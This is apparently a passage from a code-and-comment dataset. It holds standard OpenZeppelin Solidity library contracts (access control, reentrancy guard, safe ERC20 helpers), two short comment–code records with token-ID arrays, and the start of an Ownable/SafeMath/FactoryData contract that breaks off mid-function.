} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
time in seconds * amount of staked token to receive 1 reward token
uint256 public stakeRewardFactor;
982,075
[ 1, 957, 316, 3974, 225, 3844, 434, 384, 9477, 1147, 358, 6798, 404, 19890, 1147, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 384, 911, 17631, 1060, 6837, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xeF76930766a5D94d265EdBb9eAd578479FCA01dB/sources/Winnr.sol
The duration set for the lottery
uint256 public constant duration = 480 minutes;
7,042,128
[ 1, 1986, 3734, 444, 364, 326, 17417, 387, 93, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 5381, 3734, 273, 1059, 3672, 6824, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Token { function balanceOf(address _owner) public constant returns (uint256); } contract FactoryData is Ownable { using SafeMath for uint256; struct CP { string refNumber; string name; mapping(address => bool) factories; } uint256 blocksquareFee = 20; uint256 networkReserveFundFee = 50; uint256 cpFee = 15; uint256 firstBuyersFee = 15; /* Mappings */ mapping(address => mapping(address => bool)) whitelisted; mapping(string => address) countryFactory; mapping(address => bool) memberOfBS; mapping(address => uint256) requiredBST; mapping(address => CP) CPs; mapping(address => address) noFeeTransfersAccounts; mapping(address => bool) prestigeAddress; Token BST; /** * Constructor function * * Initializes contract. **/ constructor() public { memberOfBS[msg.sender] = true; owner = msg.sender; BST = Token(0x509A38b7a1cC0dcd83Aa9d06214663D9eC7c7F4a); } /** * Add factory * * Owner can add factory for country * * @param _country Name of country * @param _factory Address of factory **/ function addFactory(string _country, address _factory) public onlyOwner { countryFactory[_country] = _factory; } /** * @dev add member to blocksquare group * @param _member Address of member to add **/ function 